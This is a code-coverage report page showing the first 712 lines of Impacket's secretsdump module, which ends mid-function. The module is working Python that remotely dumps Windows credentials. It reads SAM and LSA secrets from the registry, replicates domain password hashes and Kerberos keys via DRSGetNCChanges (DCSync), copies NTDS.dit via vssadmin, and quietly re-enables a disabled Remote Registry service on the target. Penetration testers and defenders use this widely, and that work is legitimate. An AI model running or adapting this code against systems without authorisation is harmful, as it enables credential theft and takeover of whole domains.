Hide keyboard shortcuts

Hot-keys on this page

r m x p   toggle line displays

j k   next/prev highlighted chunk

0   (zero) top of page

1   (one) first highlighted chunk

1# Impacket - Collection of Python classes for working with network protocols. 

2# 

3# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved. 

4# 

5# This software is provided under a slightly modified version 

6# of the Apache Software License. See the accompanying LICENSE file 

7# for more information. 

8# 

9# Description: 

10# Performs various techniques to dump hashes from the 

11# remote machine without executing any agent there. 

12# For SAM and LSA Secrets (including cached creds) 

13# we try to read as much as we can from the registry 

14# and then we save the hives in the target system 

15# (%SYSTEMROOT%\\Temp dir) and read the rest of the 

16# data from there. 

17# For NTDS.dit we either: 

18# a. Get the domain users list and get its hashes 

19# and Kerberos keys using [MS-DRDS] DRSGetNCChanges() 

20# call, replicating just the attributes we need. 

21# b. Extract NTDS.dit via vssadmin executed with the 

22# smbexec approach. 

23# It's copied on the temp dir and parsed remotely. 

24# 

25# The script initiates the services required for its working 

26# if they are not available (e.g. Remote Registry, even if it is 

27# disabled). After the work is done, things are restored to the 

28# original state. 

29# 

30# Author: 

31# Alberto Solino (@agsolino) 

32# 

33# References: 

34# Most of the work done by these guys. I just put all 

35# the pieces together, plus some extra magic. 

36# - https://github.com/gentilkiwi/kekeo/tree/master/dcsync 

37# - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html 

38# - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html 

39# - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html 

40# - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13 

41# - https://code.google.com/p/creddump/ 

42# - https://lab.mediaservice.net/code/cachedump.rb 

43# - https://insecurety.net/?p=768 

44# - http://www.beginningtoseethelight.org/ntsecurity/index.htm 

45# - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf 

46# - https://www.passcape.com/index.php?section=blog&cmd=details&id=15 

47# 

48from __future__ import division 

49from __future__ import print_function 

50import codecs 

51import json 

52import hashlib 

53import logging 

54import ntpath 

55import os 

56import re 

57import random 

58import string 

59import time 

60from binascii import unhexlify, hexlify 

61from collections import OrderedDict 

62from datetime import datetime 

63from struct import unpack, pack 

64from six import b, PY2 

65 

66from impacket import LOG 

67from impacket import system_errors 

68from impacket import winregistry, ntlm 

69from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi 

70from impacket.dcerpc.v5.dtypes import NULL 

71from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE 

72from impacket.dcerpc.v5.dcom import wmi 

73from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ 

74 VARIANT, VARENUM, DISPATCH_METHOD 

75from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \ 

76 OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \ 

77 IRemUnknown2, INTERFACE 

78from impacket.ese import ESENT_DB 

79from impacket.dpapi import DPAPI_SYSTEM 

80from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ 

81from impacket.nt_errors import STATUS_MORE_ENTRIES 

82from impacket.structure import Structure 

83from impacket.structure import hexdump 

84from impacket.uuid import string_to_bin 

85from impacket.crypto import transformKey 

86from impacket.krb5 import constants 

87from impacket.krb5.crypto import string_to_key 

88try: 

89 from Cryptodome.Cipher import DES, ARC4, AES 

90 from Cryptodome.Hash import HMAC, MD4, MD5 

91except ImportError: 

92 LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex") 

93 LOG.critical("See https://pypi.org/project/pycryptodomex/") 

94 

95 

96# Structures 

97# Taken from https://insecurety.net/?p=768 

98class SAM_KEY_DATA(Structure): 

99 structure = ( 

100 ('Revision','<L=0'), 

101 ('Length','<L=0'), 

102 ('Salt','16s=b""'), 

103 ('Key','16s=b""'), 

104 ('CheckSum','16s=b""'), 

105 ('Reserved','<Q=0'), 

106 ) 

107 

108# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/SecureAuthCorp/impacket/issues/326 

109# Merci! Makes it way easier than parsing manually. 

110class SAM_HASH(Structure): 

111 structure = ( 

112 ('PekID','<H=0'), 

113 ('Revision','<H=0'), 

114 ('Hash','16s=b""'), 

115 ) 

116 

117class SAM_KEY_DATA_AES(Structure): 

118 structure = ( 

119 ('Revision','<L=0'), 

120 ('Length','<L=0'), 

121 ('CheckSumLen','<L=0'), 

122 ('DataLen','<L=0'), 

123 ('Salt','16s=b""'), 

124 ('Data',':'), 

125 ) 

126 

127class SAM_HASH_AES(Structure): 

128 structure = ( 

129 ('PekID','<H=0'), 

130 ('Revision','<H=0'), 

131 ('DataOffset','<L=0'), 

132 ('Salt','16s=b""'), 

133 ('Hash',':'), 

134 ) 

135 

136class DOMAIN_ACCOUNT_F(Structure): 

137 structure = ( 

138 ('Revision','<L=0'), 

139 ('Unknown','<L=0'), 

140 ('CreationTime','<Q=0'), 

141 ('DomainModifiedCount','<Q=0'), 

142 ('MaxPasswordAge','<Q=0'), 

143 ('MinPasswordAge','<Q=0'), 

144 ('ForceLogoff','<Q=0'), 

145 ('LockoutDuration','<Q=0'), 

146 ('LockoutObservationWindow','<Q=0'), 

147 ('ModifiedCountAtLastPromotion','<Q=0'), 

148 ('NextRid','<L=0'), 

149 ('PasswordProperties','<L=0'), 

150 ('MinPasswordLength','<H=0'), 

151 ('PasswordHistoryLength','<H=0'), 

152 ('LockoutThreshold','<H=0'), 

153 ('Unknown2','<H=0'), 

154 ('ServerState','<L=0'), 

155 ('ServerRole','<H=0'), 

156 ('UasCompatibilityRequired','<H=0'), 

157 ('Unknown3','<Q=0'), 

158 ('Key0',':'), 

159# Commenting this, not needed and not present on Windows 2000 SP0 

160# ('Key1',':', SAM_KEY_DATA), 

161# ('Unknown4','<L=0'), 

162 ) 

163 

164# Great help from here http://www.beginningtoseethelight.org/ntsecurity/index.htm 

165class USER_ACCOUNT_V(Structure): 

166 structure = ( 

167 ('Unknown','12s=b""'), 

168 ('NameOffset','<L=0'), 

169 ('NameLength','<L=0'), 

170 ('Unknown2','<L=0'), 

171 ('FullNameOffset','<L=0'), 

172 ('FullNameLength','<L=0'), 

173 ('Unknown3','<L=0'), 

174 ('CommentOffset','<L=0'), 

175 ('CommentLength','<L=0'), 

176 ('Unknown3','<L=0'), 

177 ('UserCommentOffset','<L=0'), 

178 ('UserCommentLength','<L=0'), 

179 ('Unknown4','<L=0'), 

180 ('Unknown5','12s=b""'), 

181 ('HomeDirOffset','<L=0'), 

182 ('HomeDirLength','<L=0'), 

183 ('Unknown6','<L=0'), 

184 ('HomeDirConnectOffset','<L=0'), 

185 ('HomeDirConnectLength','<L=0'), 

186 ('Unknown7','<L=0'), 

187 ('ScriptPathOffset','<L=0'), 

188 ('ScriptPathLength','<L=0'), 

189 ('Unknown8','<L=0'), 

190 ('ProfilePathOffset','<L=0'), 

191 ('ProfilePathLength','<L=0'), 

192 ('Unknown9','<L=0'), 

193 ('WorkstationsOffset','<L=0'), 

194 ('WorkstationsLength','<L=0'), 

195 ('Unknown10','<L=0'), 

196 ('HoursAllowedOffset','<L=0'), 

197 ('HoursAllowedLength','<L=0'), 

198 ('Unknown11','<L=0'), 

199 ('Unknown12','12s=b""'), 

200 ('LMHashOffset','<L=0'), 

201 ('LMHashLength','<L=0'), 

202 ('Unknown13','<L=0'), 

203 ('NTHashOffset','<L=0'), 

204 ('NTHashLength','<L=0'), 

205 ('Unknown14','<L=0'), 

206 ('Unknown15','24s=b""'), 

207 ('Data',':=b""'), 

208 ) 

209 

210class NL_RECORD(Structure): 

211 structure = ( 

212 ('UserLength','<H=0'), 

213 ('DomainNameLength','<H=0'), 

214 ('EffectiveNameLength','<H=0'), 

215 ('FullNameLength','<H=0'), 

216# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265 

217 ('LogonScriptName','<H=0'), 

218 ('ProfilePathLength','<H=0'), 

219 ('HomeDirectoryLength','<H=0'), 

220 ('HomeDirectoryDriveLength','<H=0'), 

221 ('UserId','<L=0'), 

222 ('PrimaryGroupId','<L=0'), 

223 ('GroupCount','<L=0'), 

224 ('logonDomainNameLength','<H=0'), 

225 ('unk0','<H=0'), 

226 ('LastWrite','<Q=0'), 

227 ('Revision','<L=0'), 

228 ('SidCount','<L=0'), 

229 ('Flags','<L=0'), 

230 ('unk1','<L=0'), 

231 ('LogonPackageLength','<L=0'), 

232 ('DnsDomainNameLength','<H=0'), 

233 ('UPN','<H=0'), 

234 # ('MetaData','52s=""'), 

235 # ('FullDomainLength','<H=0'), 

236 # ('Length2','<H=0'), 

237 ('IV','16s=b""'), 

238 ('CH','16s=b""'), 

239 ('EncryptedData',':'), 

240 ) 

241 

242 

243class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure): 

244 structure = ( 

245 ('Value','6s'), 

246 ) 

247 

248class SAMR_RPC_SID(Structure): 

249 structure = ( 

250 ('Revision','<B'), 

251 ('SubAuthorityCount','<B'), 

252 ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY), 

253 ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'), 

254 ('SubAuthority',':'), 

255 ) 

256 

257 def formatCanonical(self): 

258 ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6])) 

259 for i in range(self['SubAuthorityCount']): 

260 ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0]) 

261 return ans 

262 

263class LSA_SECRET_BLOB(Structure): 

264 structure = ( 

265 ('Length','<L=0'), 

266 ('Unknown','12s=b""'), 

267 ('_Secret','_-Secret','self["Length"]'), 

268 ('Secret',':'), 

269 ('Remaining',':'), 

270 ) 

271 

272class LSA_SECRET(Structure): 

273 structure = ( 

274 ('Version','<L=0'), 

275 ('EncKeyID','16s=b""'), 

276 ('EncAlgorithm','<L=0'), 

277 ('Flags','<L=0'), 

278 ('EncryptedData',':'), 

279 ) 

280 

281class LSA_SECRET_XP(Structure): 

282 structure = ( 

283 ('Length','<L=0'), 

284 ('Version','<L=0'), 

285 ('_Secret','_-Secret', 'self["Length"]'), 

286 ('Secret', ':'), 

287 ) 

288 

289 

290# Helper to create files for exporting 

291def openFile(fileName, mode='w+', openFileFunc=None): 

292 if openFileFunc is not None: 

293 return openFileFunc(fileName, mode) 

294 else: 

295 return codecs.open(fileName, mode, encoding='utf-8') 

296 

297 

298# Classes 

299class RemoteFile: 

300 def __init__(self, smbConnection, fileName): 

301 self.__smbConnection = smbConnection 

302 self.__fileName = fileName 

303 self.__tid = self.__smbConnection.connectTree('ADMIN$') 

304 self.__fid = None 

305 self.__currentOffset = 0 

306 

307 def open(self): 

308 tries = 0 

309 while True: 

310 try: 

311 self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA, 

312 shareMode=FILE_SHARE_READ) 

313 except Exception as e: 

314 if str(e).find('STATUS_SHARING_VIOLATION') >=0: 

315 if tries >= 3: 

316 raise e 

317 # Stuff didn't finish yet.. wait more 

318 time.sleep(5) 

319 tries += 1 

320 pass 

321 else: 

322 raise e 

323 else: 

324 break 

325 

326 def seek(self, offset, whence): 

327 # Implement whence, for now it's always from the beginning of the file 

328 if whence == 0: 

329 self.__currentOffset = offset 

330 

331 def read(self, bytesToRead): 

332 if bytesToRead > 0: 

333 data = self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead) 

334 self.__currentOffset += len(data) 

335 return data 

336 return b'' 

337 

338 def close(self): 

339 if self.__fid is not None: 

340 self.__smbConnection.closeFile(self.__tid, self.__fid) 

341 self.__smbConnection.deleteFile('ADMIN$', self.__fileName) 

342 self.__fid = None 

343 

344 def tell(self): 

345 return self.__currentOffset 

346 

347 def __str__(self): 

348 return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName) 

349 

350class RemoteOperations: 

351 def __init__(self, smbConnection, doKerberos, kdcHost=None): 

352 self.__smbConnection = smbConnection 

353 if self.__smbConnection is not None: 353 ↛ 355line 353 didn't jump to line 355, because the condition on line 353 was never false

354 self.__smbConnection.setTimeout(5*60) 

355 self.__serviceName = 'RemoteRegistry' 

356 self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]' 

357 self.__rrp = None 

358 self.__regHandle = None 

359 

360 self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]' 

361 self.__samr = None 

362 self.__domainHandle = None 

363 self.__domainName = None 

364 self.__domainSid = None 

365 

366 self.__drsr = None 

367 self.__hDrs = None 

368 self.__NtdsDsaObjectGuid = None 

369 self.__ppartialAttrSet = None 

370 self.__prefixTable = [] 

371 self.__doKerberos = doKerberos 

372 self.__kdcHost = kdcHost 

373 

374 self.__bootKey = b'' 

375 self.__disabled = False 

376 self.__shouldStop = False 

377 self.__started = False 

378 

379 self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' 

380 self.__scmr = None 

381 self.__tmpServiceName = None 

382 self.__serviceDeleted = False 

383 

384 self.__batchFile = '%TEMP%\\execute.bat' 

385 self.__shell = '%COMSPEC% /Q /c ' 

386 self.__output = '%SYSTEMROOT%\\Temp\\__output' 

387 self.__answerTMP = b'' 

388 

389 self.__execMethod = 'smbexec' 

390 

391 def setExecMethod(self, method): 

392 self.__execMethod = method 

393 

394 def __connectSvcCtl(self): 

395 rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl) 

396 rpc.set_smb_connection(self.__smbConnection) 

397 self.__scmr = rpc.get_dce_rpc() 

398 self.__scmr.connect() 

399 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 

400 

401 def __connectWinReg(self): 

402 rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg) 

403 rpc.set_smb_connection(self.__smbConnection) 

404 self.__rrp = rpc.get_dce_rpc() 

405 self.__rrp.connect() 

406 self.__rrp.bind(rrp.MSRPC_UUID_RRP) 

407 

408 def connectSamr(self, domain): 

409 rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) 

410 rpc.set_smb_connection(self.__smbConnection) 

411 self.__samr = rpc.get_dce_rpc() 

412 self.__samr.connect() 

413 self.__samr.bind(samr.MSRPC_UUID_SAMR) 

414 resp = samr.hSamrConnect(self.__samr) 

415 serverHandle = resp['ServerHandle'] 

416 

417 resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain) 

418 self.__domainSid = resp['DomainId'].formatCanonical() 

419 

420 resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId']) 

421 self.__domainHandle = resp['DomainHandle'] 

422 self.__domainName = domain 

423 

424 def __connectDrds(self): 

425 stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, 

426 protocol='ncacn_ip_tcp') 

427 rpc = transport.DCERPCTransportFactory(stringBinding) 

428 rpc.setRemoteHost(self.__smbConnection.getRemoteHost()) 

429 rpc.setRemoteName(self.__smbConnection.getRemoteName()) 

430 if hasattr(rpc, 'set_credentials'): 430 ↛ 434line 430 didn't jump to line 434, because the condition on line 430 was never false

431 # This method exists only for selected protocol sequences. 

432 rpc.set_credentials(*(self.__smbConnection.getCredentials())) 

433 rpc.set_kerberos(self.__doKerberos, self.__kdcHost) 

434 self.__drsr = rpc.get_dce_rpc() 

435 self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 

436 if self.__doKerberos: 436 ↛ 437line 436 didn't jump to line 437, because the condition on line 436 was never true

437 self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) 

438 self.__drsr.connect() 

439 # Uncomment these lines if you want to play some tricks 

440 # This will make the dump way slower tho. 

441 #self.__drsr.bind(samr.MSRPC_UUID_SAMR) 

442 #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI) 

443 #self.__drsr.set_max_fragment_size(1) 

444 # And Comment this line 

445 self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI) 

446 

447 if self.__domainName is None: 447 ↛ 449line 447 didn't jump to line 449, because the condition on line 447 was never true

448 # Get domain name from credentials cached 

449 self.__domainName = rpc.get_credentials()[2] 

450 

451 request = drsuapi.DRSBind() 

452 request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID 

453 drs = drsuapi.DRS_EXTENSIONS_INT() 

454 drs['cb'] = len(drs) #- 4 

455 drs['dwFlags'] = drsuapi.DRS_EXT_GETCHGREQ_V6 | drsuapi.DRS_EXT_GETCHGREPLY_V6 | drsuapi.DRS_EXT_GETCHGREQ_V8 | \ 

456 drsuapi.DRS_EXT_STRONG_ENCRYPTION 

457 drs['SiteObjGuid'] = drsuapi.NULLGUID 

458 drs['Pid'] = 0 

459 drs['dwReplEpoch'] = 0 

460 drs['dwFlagsExt'] = 0 

461 drs['ConfigObjGUID'] = drsuapi.NULLGUID 

462 # I'm uber potential (c) Ben 

463 drs['dwExtCaps'] = 0xffffffff 

464 request['pextClient']['cb'] = len(drs) 

465 request['pextClient']['rgb'] = list(drs.getData()) 

466 resp = self.__drsr.request(request) 

467 if LOG.level == logging.DEBUG: 467 ↛ 468line 467 didn't jump to line 468, because the condition on line 467 was never true

468 LOG.debug('DRSBind() answer') 

469 resp.dump() 

470 

471 # Let's dig into the answer to check the dwReplEpoch. This field should match the one we send as part of 

472 # DRSBind's DRS_EXTENSIONS_INT(). If not, it will fail later when trying to sync data. 

473 drsExtensionsInt = drsuapi.DRS_EXTENSIONS_INT() 

474 

475 # If dwExtCaps is not included in the answer, let's just add it so we can unpack DRS_EXTENSIONS_INT right. 

476 ppextServer = b''.join(resp['ppextServer']['rgb']) + b'\x00' * ( 

477 len(drsuapi.DRS_EXTENSIONS_INT()) - resp['ppextServer']['cb']) 

478 drsExtensionsInt.fromString(ppextServer) 

479 

480 if drsExtensionsInt['dwReplEpoch'] != 0: 480 ↛ 482line 480 didn't jump to line 482, because the condition on line 480 was never true

481 # Different epoch, we have to call DRSBind again 

482 if LOG.level == logging.DEBUG: 

483 LOG.debug("DC's dwReplEpoch != 0, setting it to %d and calling DRSBind again" % drsExtensionsInt[ 

484 'dwReplEpoch']) 

485 drs['dwReplEpoch'] = drsExtensionsInt['dwReplEpoch'] 

486 request['pextClient']['cb'] = len(drs) 

487 request['pextClient']['rgb'] = list(drs.getData()) 

488 resp = self.__drsr.request(request) 

489 

490 self.__hDrs = resp['phDrs'] 

491 

492 # Now let's get the NtdsDsaObjectGuid UUID to use when querying NCChanges 

493 resp = drsuapi.hDRSDomainControllerInfo(self.__drsr, self.__hDrs, self.__domainName, 2) 

494 if LOG.level == logging.DEBUG: 494 ↛ 495line 494 didn't jump to line 495, because the condition on line 494 was never true

495 LOG.debug('DRSDomainControllerInfo() answer') 

496 resp.dump() 

497 

498 if resp['pmsgOut']['V2']['cItems'] > 0: 498 ↛ 501line 498 didn't jump to line 501, because the condition on line 498 was never false

499 self.__NtdsDsaObjectGuid = resp['pmsgOut']['V2']['rItems'][0]['NtdsDsaObjectGuid'] 

500 else: 

501 LOG.error("Couldn't get DC info for domain %s" % self.__domainName) 

502 raise Exception('Fatal, aborting') 

503 

504 def getDrsr(self): 

505 return self.__drsr 

506 

507 def DRSCrackNames(self, formatOffered=drsuapi.DS_NAME_FORMAT.DS_DISPLAY_NAME, 

508 formatDesired=drsuapi.DS_NAME_FORMAT.DS_FQDN_1779_NAME, name=''): 

509 if self.__drsr is None: 

510 self.__connectDrds() 

511 

512 LOG.debug('Calling DRSCrackNames for %s ' % name) 

513 resp = drsuapi.hDRSCrackNames(self.__drsr, self.__hDrs, 0, formatOffered, formatDesired, (name,)) 

514 return resp 

515 

516 def DRSGetNCChanges(self, userEntry): 

517 if self.__drsr is None: 517 ↛ 518line 517 didn't jump to line 518, because the condition on line 517 was never true

518 self.__connectDrds() 

519 

520 LOG.debug('Calling DRSGetNCChanges for %s ' % userEntry) 

521 request = drsuapi.DRSGetNCChanges() 

522 request['hDrs'] = self.__hDrs 

523 request['dwInVersion'] = 8 

524 

525 request['pmsgIn']['tag'] = 8 

526 request['pmsgIn']['V8']['uuidDsaObjDest'] = self.__NtdsDsaObjectGuid 

527 request['pmsgIn']['V8']['uuidInvocIdSrc'] = self.__NtdsDsaObjectGuid 

528 

529 dsName = drsuapi.DSNAME() 

530 dsName['SidLen'] = 0 

531 dsName['Guid'] = string_to_bin(userEntry[1:-1]) 

532 dsName['Sid'] = '' 

533 dsName['NameLen'] = 0 

534 dsName['StringName'] = ('\x00') 

535 

536 dsName['structLen'] = len(dsName.getData()) 

537 

538 request['pmsgIn']['V8']['pNC'] = dsName 

539 

540 request['pmsgIn']['V8']['usnvecFrom']['usnHighObjUpdate'] = 0 

541 request['pmsgIn']['V8']['usnvecFrom']['usnHighPropUpdate'] = 0 

542 

543 request['pmsgIn']['V8']['pUpToDateVecDest'] = NULL 

544 

545 request['pmsgIn']['V8']['ulFlags'] = drsuapi.DRS_INIT_SYNC | drsuapi.DRS_WRIT_REP 

546 request['pmsgIn']['V8']['cMaxObjects'] = 1 

547 request['pmsgIn']['V8']['cMaxBytes'] = 0 

548 request['pmsgIn']['V8']['ulExtendedOp'] = drsuapi.EXOP_REPL_OBJ 

549 if self.__ppartialAttrSet is None: 

550 self.__prefixTable = [] 

551 self.__ppartialAttrSet = drsuapi.PARTIAL_ATTR_VECTOR_V1_EXT() 

552 self.__ppartialAttrSet['dwVersion'] = 1 

553 self.__ppartialAttrSet['cAttrs'] = len(NTDSHashes.ATTRTYP_TO_ATTID) 

554 for attId in list(NTDSHashes.ATTRTYP_TO_ATTID.values()): 

555 self.__ppartialAttrSet['rgPartialAttr'].append(drsuapi.MakeAttid(self.__prefixTable , attId)) 

556 request['pmsgIn']['V8']['pPartialAttrSet'] = self.__ppartialAttrSet 

557 request['pmsgIn']['V8']['PrefixTableDest']['PrefixCount'] = len(self.__prefixTable) 

558 request['pmsgIn']['V8']['PrefixTableDest']['pPrefixEntry'] = self.__prefixTable 

559 request['pmsgIn']['V8']['pPartialAttrSetEx1'] = NULL 

560 

561 return self.__drsr.request(request) 

562 

563 def getDomainUsers(self, enumerationContext=0): 

564 if self.__samr is None: 564 ↛ 565line 564 didn't jump to line 565, because the condition on line 564 was never true

565 self.connectSamr(self.getMachineNameAndDomain()[1]) 

566 

567 try: 

568 resp = samr.hSamrEnumerateUsersInDomain(self.__samr, self.__domainHandle, 

569 userAccountControl=samr.USER_NORMAL_ACCOUNT | \ 

570 samr.USER_WORKSTATION_TRUST_ACCOUNT | \ 

571 samr.USER_SERVER_TRUST_ACCOUNT |\ 

572 samr.USER_INTERDOMAIN_TRUST_ACCOUNT, 

573 enumerationContext=enumerationContext) 

574 except DCERPCException as e: 

575 if str(e).find('STATUS_MORE_ENTRIES') < 0: 

576 raise 

577 resp = e.get_packet() 

578 return resp 

579 

580 def getDomainSid(self): 

581 if self.__domainSid is not None: 581 ↛ 584line 581 didn't jump to line 584, because the condition on line 581 was never false

582 return self.__domainSid 

583 

584 if self.__samr is None: 

585 self.connectSamr(self.getMachineNameAndDomain()[1]) 

586 

587 return self.__domainSid 

588 

589 def getMachineKerberosSalt(self): 

590 """ 

591 Returns Kerberos salt for the current connection if 

592 we have the correct information 

593 """ 

594 if self.__smbConnection.getServerName() == '': 594 ↛ 597line 594 didn't jump to line 597, because the condition on line 594 was never true

595 # Todo: figure out an RPC call that gives us the domain FQDN 

596 # instead of the NETBIOS name as NetrWkstaGetInfo does 

597 return b'' 

598 else: 

599 host = self.__smbConnection.getServerName() 

600 domain = self.__smbConnection.getServerDNSDomainName() 

601 salt = b'%shost%s.%s' % (domain.upper().encode('utf-8'), host.lower().encode('utf-8'), domain.lower().encode('utf-8')) 

602 return salt 

603 

604 def getMachineNameAndDomain(self): 

605 if self.__smbConnection.getServerName() == '': 605 ↛ 609line 605 didn't jump to line 609, because the condition on line 605 was never true

606 # No serverName.. this is either because we're doing Kerberos 

607 # or not receiving that data during the login process. 

608 # Let's try getting it through RPC 

609 rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\wkssvc]') 

610 rpc.set_smb_connection(self.__smbConnection) 

611 dce = rpc.get_dce_rpc() 

612 dce.connect() 

613 dce.bind(wkst.MSRPC_UUID_WKST) 

614 resp = wkst.hNetrWkstaGetInfo(dce, 100) 

615 dce.disconnect() 

616 return resp['WkstaInfo']['WkstaInfo100']['wki100_computername'][:-1], resp['WkstaInfo']['WkstaInfo100'][ 

617 'wki100_langroup'][:-1] 

618 else: 

619 return self.__smbConnection.getServerName(), self.__smbConnection.getServerDomain() 

620 

621 def getDefaultLoginAccount(self): 

622 try: 

623 ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, 'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon') 

624 keyHandle = ans['phkResult'] 

625 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultUserName') 

626 username = dataValue[:-1] 

627 dataType, dataValue = rrp.hBaseRegQueryValue(self.__rrp, keyHandle, 'DefaultDomainName') 

628 domain = dataValue[:-1] 

629 rrp.hBaseRegCloseKey(self.__rrp, keyHandle) 

630 if len(domain) > 0: 630 ↛ 633line 630 didn't jump to line 633, because the condition on line 630 was never false

631 return '%s\\%s' % (domain,username) 

632 else: 

633 return username 

634 except: 

635 return None 

636 

637 def getServiceAccount(self, serviceName): 

638 try: 

639 # Open the service 

640 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, serviceName) 

641 serviceHandle = ans['lpServiceHandle'] 

642 resp = scmr.hRQueryServiceConfigW(self.__scmr, serviceHandle) 

643 account = resp['lpServiceConfig']['lpServiceStartName'][:-1] 

644 scmr.hRCloseServiceHandle(self.__scmr, serviceHandle) 

645 if account.startswith('.\\'): 645 ↛ 646line 645 didn't jump to line 646, because the condition on line 645 was never true

646 account = account[2:] 

647 return account 

648 except Exception as e: 

649 # Don't log if history service is not found, that should be normal 

650 if serviceName.endswith("_history") is False: 

651 LOG.error(e) 

652 return None 

653 

654 def __checkServiceStatus(self): 

655 # Open SC Manager 

656 ans = scmr.hROpenSCManagerW(self.__scmr) 

657 self.__scManagerHandle = ans['lpScHandle'] 

658 # Now let's open the service 

659 ans = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__serviceName) 

660 self.__serviceHandle = ans['lpServiceHandle'] 

661 # Let's check its status 

662 ans = scmr.hRQueryServiceStatus(self.__scmr, self.__serviceHandle) 

663 if ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_STOPPED: 663 ↛ 664line 663 didn't jump to line 664, because the condition on line 663 was never true

664 LOG.info('Service %s is in stopped state'% self.__serviceName) 

665 self.__shouldStop = True 

666 self.__started = False 

667 elif ans['lpServiceStatus']['dwCurrentState'] == scmr.SERVICE_RUNNING: 667 ↛ 672line 667 didn't jump to line 672, because the condition on line 667 was never false

668 LOG.debug('Service %s is already running'% self.__serviceName) 

669 self.__shouldStop = False 

670 self.__started = True 

671 else: 

672 raise Exception('Unknown service state 0x%x - Aborting' % ans['CurrentState']) 

673 

674 # Let's check its configuration if service is stopped, maybe it's disabled :s 

675 if self.__started is False: 675 ↛ 676line 675 didn't jump to line 676, because the condition on line 675 was never true

676 ans = scmr.hRQueryServiceConfigW(self.__scmr,self.__serviceHandle) 

677 if ans['lpServiceConfig']['dwStartType'] == 0x4: 

678 LOG.info('Service %s is disabled, enabling it'% self.__serviceName) 

679 self.__disabled = True 

680 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x3) 

681 LOG.info('Starting service %s' % self.__serviceName) 

682 scmr.hRStartServiceW(self.__scmr,self.__serviceHandle) 

683 time.sleep(1) 

684 

685 def enableRegistry(self): 

686 self.__connectSvcCtl() 

687 self.__checkServiceStatus() 

688 self.__connectWinReg() 

689 

690 def __restore(self): 

691 # First of all stop the service if it was originally stopped 

692 if self.__shouldStop is True: 692 ↛ 693line 692 didn't jump to line 693, because the condition on line 692 was never true

693 LOG.info('Stopping service %s' % self.__serviceName) 

694 scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) 

695 if self.__disabled is True: 695 ↛ 696line 695 didn't jump to line 696, because the condition on line 695 was never true

696 LOG.info('Restoring the disabled state for service %s' % self.__serviceName) 

697 scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) 

698 if self.__serviceDeleted is False and self.__tmpServiceName is not None: 698 ↛ 701line 698 didn't jump to line 701, because the condition on line 698 was never true

699 # Check again the service we created does not exist, starting a new connection 

700 # Why?.. Hitting CTRL+C might break the whole existing DCE connection 

701 try: 

702 rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) 

703 if hasattr(rpc, 'set_credentials'): 

704 # This method exists only for selected protocol sequences. 

705 rpc.set_credentials(*self.__smbConnection.getCredentials()) 

706 rpc.set_kerberos(self.__doKerberos, self.__kdcHost) 

707 self.__scmr = rpc.get_dce_rpc() 

708 self.__scmr.connect() 

709 self.__scmr.bind(scmr.MSRPC_UUID_SCMR) 

710 # Open SC Manager 

711 ans = scmr.hROpenSCManagerW(self.__scmr) 

712 self.__scManagerHandle = ans['lpScHandle'] 

